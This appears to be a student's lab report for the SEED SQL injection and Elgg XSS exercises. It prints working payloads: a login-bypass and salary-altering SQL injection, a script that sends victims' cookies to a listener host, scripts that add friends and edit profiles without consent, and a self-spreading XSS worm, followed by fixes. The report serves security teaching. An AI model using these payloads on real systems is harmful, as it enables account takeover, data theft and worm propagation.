20242825 2024-2025-2 《网络攻防实践》第十周作业
@
一. 实验内容
1.1 实验内容概述
1.SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
① 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
② 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
③ 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
④ SQL对抗:修复上述SQL注入攻击漏洞。
2.SEED XSS跨站脚本攻击实验(Elgg)
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
① 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
② 弹窗显示cookie信息:将cookie信息显示。
③ 窃取受害者的cookies:将cookie发送给攻击者。
④ 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
⑤ 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
⑥ 编写XSS蠕虫。
⑦ 对抗XSS攻击。
1.2 实验相关知识概述
1.2.1 SQL注入攻击与防御
- SQL语言基础:SQL(Structured Query Language,结构化查询语言 )是用于管理关系数据库的标准语言。像
SELECT语句用于从数据库表中检索数据,例如SELECT * FROM Users可获取Users表中的所有记录;UPDATE语句用于修改表中已有数据,如UPDATE Users SET salary = 10000 WHERE eid = 1可将员工编号为1的薪资更新为10000 。 - SQL注入原理:当应用程序使用用户输入来构造SQL查询,且未对输入进行有效验证时,攻击者可通过输入恶意SQL代码,改变原本查询逻辑。比如在登录验证的查询语句
SELECT * FROM Users WHERE username = '输入用户名' AND password = '输入密码'中,若输入恶意内容,如' OR '1'='1作为密码输入,会使查询逻辑变为永真条件,绕过密码验证登录系统。 - SQL注入攻击类型
- 针对
SELECT语句攻击:通过构造特殊输入,使SELECT语句返回未授权数据,或绕过身份验证。 - 针对
UPDATE语句攻击:利用输入漏洞,修改数据库中不应被普通用户修改的数据,如员工薪资、权限等。
- 针对
1.2.2 XSS跨站脚本攻击
-
XSS原理:XSS(Cross - Site Scripting,跨站脚本)攻击是攻击者在Web页面中注入恶意脚本(通常是JavaScript),当用户浏览该页面时,恶意脚本在用户浏览器中执行,实现窃取用户信息、修改页面内容等恶意行为。
-
XSS攻击类型
- 反射型XSS:攻击者构造恶意链接,诱使用户点击。用户点击后,恶意脚本随服务器响应返回给用户浏览器并执行,一般不存储在服务器端。
- 存储型XSS:攻击者将恶意脚本上传并存储到服务器端(如数据库),当其他用户访问相关页面时,恶意脚本被加载并执行。本次实验中的Elgg应用程序可能存在此类漏洞。
-
XSS攻击危害
- 窃取用户信息:如获取用户的cookie信息,用于登录用户账号,访问用户隐私数据。
- 页面篡改:修改页面显示内容,误导用户或进行恶意宣传。
- 传播恶意代码:在用户之间传播XSS蠕虫,扩大攻击范围。
-
XSS攻击防御
- 输入输出过滤:对用户输入进行严格过滤,去除或转义可能包含恶意脚本的字符;对输出到页面的数据也进行检查和转义,防止恶意脚本注入。
- 使用安全的编码实践:采用安全的编程方式,避免在页面中直接使用用户输入内容,防止被恶意利用。
- 设置HTTP安全头:如设置
Content - Security - Policy(CSP)头,限制页面可加载的资源来源,阻止恶意脚本的执行。
二. 实验过程
2.1 实验环境配置
在实验初始时,本来使用原本的SEEDUbuntu虚拟机实验,但发现原先的虚拟机因为版本问题缺少些许插件不可使用,所以在实验之初先重新下载一个seed虚拟机并进行配置。
点击以下链接进行虚拟机下载SEEDUbuntu SetUp 。

下载安装压缩包。

下载后解压会发现没有现成的.vmx直接打开,所以需要重新创建一个虚拟机硬盘。

虚拟机创建可参考实验一步骤即可:
点击“创建新的虚拟机”-----> “自定义” -----> Workstation17.x -----> -----> “稍后安装操作系统” -----> “Linux” -----> “Ubuntu” -----> “网络地址转换” -----> “LSI Logic” -----> “SCSI” -----> 现有虚拟磁盘中的“SEEDUbuntu-16.04-32bit.vmdk” -----> 将现有磁盘转换为更新格式? 保持现有格式 。









安装完成后,需将网络配置也设置一下:

打开虚拟机利用ifconfig命令检索一下:

IP地址为:192.168.200.9
配置完成,下面继续实验!
2.2 SEED SQL注入攻击与防御实验
2.2.1 实验要求
我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
① 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
② 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
③ 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
④ SQL对抗:修复上述SQL注入攻击漏洞。
2.2.2 实验过程展示
1. 熟悉SQL语句
先按照要求将虚拟机终端改名,使用以下命令进行操作:
hostname 20242825bhy //更改主机名
更改完后重新打开终端验证是否更改成功。这里需要要注意的是:改名需要先进入root模式,命令为su -,密码为seedubuntu。

更改成功:

使用以下命令,打开Ubuntu阿帕奇apache2服务,并进行服务的状态查看:
sudo service apache2 start //启动
sudo service apache2 status //状态查看


通过上述截图我们可以看到服务器处于正在运行的状态。
成功启动后便可以开始在终端学习SQL语句!!!
使用以下命令使用root登录MySQL数据库:
mysql -u root -pseedubuntu

使用以下命令查看mysql中已有的数据库:
show databases; (其中需要注意的是 ;不可省略)

使用以下命令切换到Users权限,并查看所有的数据表:
use Users
show tables

可以看到有两张表,Tables_in_Users和credential表。
使用以下sql语句查看credential中所有记录:
select * from credential;

发现这张表是一张信息表,包含ID、姓名、EID、工资、生日等信息。
再使用以下几条SQL语句,熟悉一下SQL用法:
select * from credential where Name = 'Alice';
select * from credential where ID <=3 ;



2. 对SELECT语句的SQL注入攻击
(上述Web应用存在SQL注入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。)
在自带的火狐浏览器中打开以下网址,进入已经搭建好的Web页面,会发现出现了一个登录界面:

单击右键选择view page source查看网页源码:


可以发现在登录表单中使用了 get 方法来访问 unsafe_home.php:

除此之外,在终端中使用以下命令也可查看unsafe_home.php源代码以及相关文件:
vim /var/www/SQLInjection/unsafe_home.php


可以看到,密码是被哈希过的hashed_pwd,所以在不知道密码的情况下,我们无法通过查询到的hashed_pwd进行登录。

因此,我们使用SQL注入攻击,实现登录。
分析一下使用的select语句:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
通过分析可知输入以下内容进行sql注入:(其中’ 单引号是为了终止当前的SQL语句,#是将后续的SQL语句注释。这样就能在SQL语句运行至WHERE name= ‘Alice’时被终止,且不用输入后续密码,直接就能成功运行这个SQL语句)
Alice'#



可以看到登录成功!
对SELECT语句的SQL注入攻击成功!!!
3. 对UPDATE语句的SQL注入攻击
(通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。)
点击Edit Profile进入修改界面,发现只能修改以下内容:


还是如同上面实验一样,单击右键查看源代码:


可以发现,该表单依旧是以 get 方式将数据发送到unsafe_edit_backend.php 页面。
在终端使用以下命令查看unsafe_edit_backend.php文件的源代码,检查Update SQL语句的内容:
vim /var/www/SQLInjection/unsafe_edit_backend.php


此处仿照上述实验2SELECT语句的做法,进行SQL注入攻击,使用以下代码进行Alice薪资的修改:
同样的,’ 单引号表示SQL语句的中断,#表示SQL语句后续内容的省略
在NickName处使用以下命令:
', Salary='20242825‘ where name='Alice'; #

点击Save进行保存后:

修改成功!!!
4. SQL对抗
(修复上述SQL注入攻击漏洞。)
我们可以观察php文件的源代码,可以发现,它们对SQL语句的数据和命令的判定并没有分开,而是混在一起,而数据库无法分清楚,这段SQL语句中哪段是用用户的数据,哪段又是SQL的命令。这就造成了SQL注入的发生,因此,我们用php语言中的bind_param方法来绑定参数,并用?来代替参数,这样就能修复SQL注入攻击漏洞。
① 对SELECT语句的修复如下,使用bind_param方法,将参数与执行动作或条件分开进行修改:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

更改为:

修改完成后再次进入登录发现没有反应。
② 对UPDATE语句的修复如下,同样使用bind_param方法,将参数与执行动作或条件分开进行修改:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
修改完成后再次进入修改发现没有反应。
实验成功!!!
2.3 SEED SQL注入攻击与防御实验
2.3.1 实验要求
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
① 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
② 弹窗显示cookie信息:将cookie信息显示。
③ 窃取受害者的cookies:将cookie发送给攻击者。
④ 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
⑤ 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
⑥ 编写XSS蠕虫。
⑦ 对抗XSS攻击。
2.3.2 实验过程展示
1. 发布恶意消息,显示警报窗口
(在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。)
在浏览器中访问下面网页:
http://www.xsslabelgg.com
并用数据库中查询到的用户进行登录,除了Admin管理员以外,所有用户的登录密码都是seed+用户名。
(例如,Alice的密码就是seedalice,Samy的密码就是seedsamy,而Admin的密码是seedelgg。)

进行登录:

使用Alice账户登陆后,显示界面如下:

首先,我们点击Alice的头像下面的Edit profile:

在Brief description输入以下XSS攻击代码,让系统给出警告信息:
<script> alert('xss');</script>

点击Save按钮进行保存:

发现系统给出了警告信息:xss


2. 弹窗显示cookie信息
(将cookie信息显示。)
紧接着上述实验,同样地点击Edit profile按钮:

在Brief description输入以下XSS攻击代码,让系统给出警告信息。但这里与上述实验不同的是我们将xss攻击内容改成以下内容:
<script> alert(document.cookie);</script>

点击Save按钮进行保存后进入Alice主页,系统展示cookie信息如下:



3. 窃取受害者的cookies
(将cookie发送给攻击者。)
使用命令ifconfig查看SeedUbuntu虚拟机IP:

查询得知,为192.168.200.9,构造以下代码进行窃取:
<script>document.write('<img src=http://192.168.200.9:500?c='+escape(document.cookie) + ' >');</script>
(代码分析:代码将受害者Alice的cookie放入document.write,并发送给攻击者Boby。端口号设置为500并监听此端口,从而获取受害者的cookies。)
使用 账号Boby/密码seedboby 登录Boby账号:

同上述过程一样,同样点击Edit profile按钮,并用以下命令修改Brief description:
<script>document.write('<img src=http://192.168.200.9:500?c='+escape(document.cookie) + ' >');</script>


更改完成后点击Save保存。
在终端中使用以下命令监听端口500,然后用Alice访问Boby后,从而获取到了cookies :
sudo nc -l 500 -v

使用Alice账户,搜索并访问Boby:

成功访问Boby,且成功获取受害者Alice的cookies:



实验结束!!!
4. 成为受害者的朋友
(使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。)
首先使用Alice添加Boby为好友,同时,按下F12打开浏览器的开发者工具,查看添加好友过程中发出了什么信息:

在network中看到网站以POST的方式向http://www.xsslabelgg.com/action/friends/add 提交了参数表单。

从下图可以看到申请参数有三个,分别是:friend, __elgg_ts,以及__elgg_token,即好友的id、时间戳以及token。

根据以上可构造xss攻击代码如下所示:
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
将该段代码放到Alice的 About me 下并选择 Edit HTML 模式,点击保存。
(注意,这里必须点击About me框右上角的edit html,才可以进行添加这段代码,否则添加不成功)


点击Save进行保存后,使用Samy登录。
切换Samy账户,首先可以看到,我们并没有任何一个好友。

访问Alice的主页,就会发现添加了Alice为好友。


实验成功!
5. 修改受害者的信息
(使用JS程序使得受害者在访问Alice的页面时,资料无需干预却被修改。)
与上述实验④相同,这里也是修改Alice的about me部分,从而实现受害者被添加资料。
构造修改信息xss攻击代码,并输入Alice中about me中edit HTML模式:
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>hhh,20242825bhy is here!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

使用Samy访问Alice,发现主页被修改:


成功修改受害者主页,实验成功!!!
6. 编写XSS蠕虫。
(编写XSS蠕虫。)
根据上述实验的经验,编写蠕虫代码如下:
(代码分析:代码功能与上述实验5类似,也是修改受害者主页,但是能够在受害者之间传播,而不用必须访问攻击者的主页,访问了受害者的主页,具有传染性。)
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>20242825bhy is here!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}</script>
同样,将其放入Alice的About me,然后用Boby去访问Alice,观察感染情况:



点击Save进行保存:

登录Boby账户:

Boby账户访问Alice后:


蠕虫构造成功!!!
7. 对抗XSS攻击。
对抗XSS攻击有以下方法:
1、内容安全策略(CSP) 定义CSP策略:定义CSP策略以指定哪些内容来源被允许在网页中执行。
使用CSP头:使用CSP头来定义策略并强制执行。2、输出编码 HTML转义:使用HTML转义来防止恶意代码被执行。
使用安全的编码方案:使用安全的编码方案,例如HTML实体编码或Unicode编码。3、HTTPOnly Cookies
设置HTTPOnly标志:在Cookie中设置HTTPOnly标志,以防止JavaScript访问它们。
在本次实验中,使用Web网页内部的HTMLawed进行对抗攻击。
方法原理:HTMLawed是一个PHP库,它可以帮助防止XSS攻击通过过滤和sanitizing HTML输入。
使用账号Admin/密码seedelgg登录管理员账户Admin:
点击Account并选择Administration选项进入管理员界面:


点击Plugins进入设置界面:

点击Activate,将HTMLawed激活:

成功激活:

激活后重新进行XSS攻击实验会发现攻击失效。
这里重新进行修改受害者主页信息的XSS攻击:
即再次让Samy访问Alice会发现无法进行主页修改。


XSS对抗成功!!!
三、学习中遇到的问题及解决
在这次实验中,主要问题有以下几点:
- 问题:在编辑JS程序代码在About me中添加失败。
- 解决方案:查询资料后发现需要打开About me框右上角的edit html模式,否则在Visual editor模式下编辑无法保存程序代码。
四、学习感悟、思考等
在本次实验,与前面实验不同之处在于此次实验学习了SQL注入、Web渗透,蠕虫病毒等相关知识。
实验期间,我深入了解了什么是XSS攻击以及被蠕虫病毒感染等实践,并意识到网络安全隐患无处不在,让我对网络安全的学习更加深入。同时,此次实验遇到的问题很少很顺利完成实验,拓展了我在网络攻防技术领域的知识储备,让我明白在平时我们要小心访问Web页面,严防数据库安全。
参考资料
https://blog.csdn.net/weixin_55819433/article/details/146334695
https://blog.csdn.net/weixin_55819433/article/details/146058856?spm=1001.2014.3001.5502

浙公网安备 33010602011771号